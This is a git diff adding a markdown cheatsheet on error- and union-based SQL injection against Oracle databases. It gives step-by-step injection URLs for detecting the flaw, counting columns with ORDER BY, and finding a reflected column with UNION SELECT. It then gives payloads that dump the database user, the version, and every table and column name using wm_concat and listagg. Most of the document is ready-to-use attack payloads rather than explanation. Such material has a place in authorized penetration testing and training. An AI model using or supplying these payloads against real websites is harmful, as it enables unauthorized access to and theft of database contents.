|
| 1 | +# Oracle Error/Union based SQL Injection Cheatsheet |
| 2 | +Using this technique, an attacker can enumerate and potentially dump the Oracle database by using the SQL queries. |
| 3 | + |
| 4 | +## Detecting the vulnerability |
| 5 | + |
| 6 | +The most common way to detect a SQLi vulnerability, is by inserting a **'** in the end of GET/POST parameter value: |
| 7 | +`http://domain.com/index.php?id=1'` |
| 8 | + |
| 9 | +If vulnerable, the website might show an SQL syntax error. This is a good sign that you are dealing with **Error-based SQL injection**: |
| 10 | + |
| 11 | + |
| 12 | +Sometimes no error pops up, but if your naked-eye is somehow trained and experienced, you might see visual differences on the website response. Content-Length of the response might change (website might not fully load up). This is a good sign of **Union-based or Blind-based SQL Injection**. |
| 13 | + |
| 14 | +## Find the number of columns using 'ORDER BY' query |
| 15 | +Now that we performed an SQL syntax error to the website, we can begin fuzzing and finding how many columns do we have by using ORDER BY. |
| 16 | + |
| 17 | +`http://domain.com/index.php?id=1' order by 1-- -` |
| 18 | +This query musn't shows up error, the website MUST load successfully, since there is no lower number than 1. If the error still persists, try removing the **'** since it breaks the SQL query: |
| 19 | +`http://domain.com/index.php?id=1 order by 1-- -` |
| 20 | + |
| 21 | +Now it is time to find the correct number of columns. Now let's use the payload that worked, and try increasing the number by 1, untill an error shows up: |
| 22 | + |
| 23 | +`http://domain.com/index.php?id=1 order by 1-- -` no error |
| 24 | +`http://domain.com/index.php?id=1 order by 2-- -` no error |
| 25 | +`http://domain.com/index.php?id=1 order by 3-- -` no error |
| 26 | +`http://domain.com/index.php?id=1 order by 4-- -` no error |
| 27 | +`http://domain.com/index.php?id=1 order by 5-- -` no error |
| 28 | +`http://domain.com/index.php?id=1 order by 6-- -` no error |
| 29 | +`http://domain.com/index.php?id=1 order by 7-- -` no error |
| 30 | +`http://domain.com/index.php?id=1 order by 8-- -` error |
| 31 | + |
| 32 | +This means there are only 7 columns. Now we have to find which one of these 7 columns have information. |
| 33 | + |
| 34 | +## Find the vulnerable column where information are stored using 'UNION SELECT' query |
| 35 | + |
| 36 | +Using a simple query, we determine which of the 7 columns reflect our input using. In **UNION SELECT** queries, you have to put **null** as many times as we found the number on **ORDER BY** (this case: 7). |
| 37 | + |
| 38 | +`http://domain.com/index.php?id=1' Union Select null, null, null, null, null, null, null from dual-- -` |
| 39 | + |
| 40 | +If the website loads up successfully (no error must be displayed), it means that we are using the right syntax (without breaking the vulnerable query used by the website). |
| 41 | + |
| 42 | +Great, let's find which column is reflecting data. To do that, we have to replace each **null** by integer surrounded by **'**. We have to replace each **null** one by one untill a number is being reflected on the website. For example: |
| 43 | + |
| 44 | +`http://domain.com/index.php?id=1' Union Select '1', null, null, null, null, null, null from dual-- -` not reflecting |
| 45 | +`http://domain.com/index.php?id=1' Union Select '1', '2', null, null, null, null, null from dual-- -` not reflecting |
| 46 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', null, null, null, null from dual-- -` not reflecting |
| 47 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', null, null, null from dual-- -` not reflecting |
| 48 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', '5', null, null from dual-- -` number 5 is being displayed on the website. |
| 49 | + |
| 50 | +We found that the 5th column is reflecting our input. This will be where our DIOS payload or dumping query will be inserted into. |
| 51 | + |
| 52 | +## Dumping data |
| 53 | + |
| 54 | +Some really basic queries to use for dumping the user and the Oracle version: |
| 55 | +```sql |
| 56 | +user |
| 57 | +(select banner from v$version where rownum=1) |
| 58 | +``` |
| 59 | + |
| 60 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', (select banner from v$version where rownum=1), null, null from dual-- -` |
| 61 | + |
| 62 | +Use **||** if you want to include more than 1 query while dumping: |
| 63 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', user || '<u>You can also insert HTML code</u>'||(select banner from v$version where rownum=1), null, null from dual-- -` |
| 64 | + |
| 65 | +Retrieving the database name: |
| 66 | +```sql |
| 67 | +(select sys.database_name from dual) |
| 68 | +(SELECT instance_name FROM V$INSTANCE) |
| 69 | +SYS.DATABASE_NAME |
| 70 | +``` |
| 71 | + |
| 72 | +Dumping the whole database with DIOS |
| 73 | + |
| 74 | +For Oracle 11g or older you can use **wm_concat** function: |
| 75 | +```sql |
| 76 | +(select wm_concat('<li>'||table_name||':'||column_name)from(select rownum as rnum, table_name, column_name from all_tab_columns order by table_name desc) shell where rnum<120) |
| 77 | +``` |
| 78 | + |
| 79 | +For Oracle version newer than 11g, **listagg** function is used instead: |
| 80 | +```sql |
| 81 | +(select listagg('<li>'||table_name||':'||column_name)from(select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120) |
| 82 | +``` |
| 83 | +```sql |
| 84 | +(select LISTAGG(table_name,'<li>') within group (ORDER BY table_name) from all_tables) |
| 85 | +``` |
| 86 | + |
| 87 | +The following query shows the inserted DIOS into the 5th (and vulnerable) column as a reference: |
| 88 | +`http://domain.com/index.php?id=1' Union Select '1', '2', '3', '4', (select listagg('<li>'||table_name||':'||column_name)from(select rownum as rnum,table_name,column_name from all_tab_columns order by table_name desc) shell where rnum<120), null, null from dual-- -` |
| 89 | + |
| 90 | +If everything goes as it should be, all the tables and columns should be displayed on the website. |
0 commit comments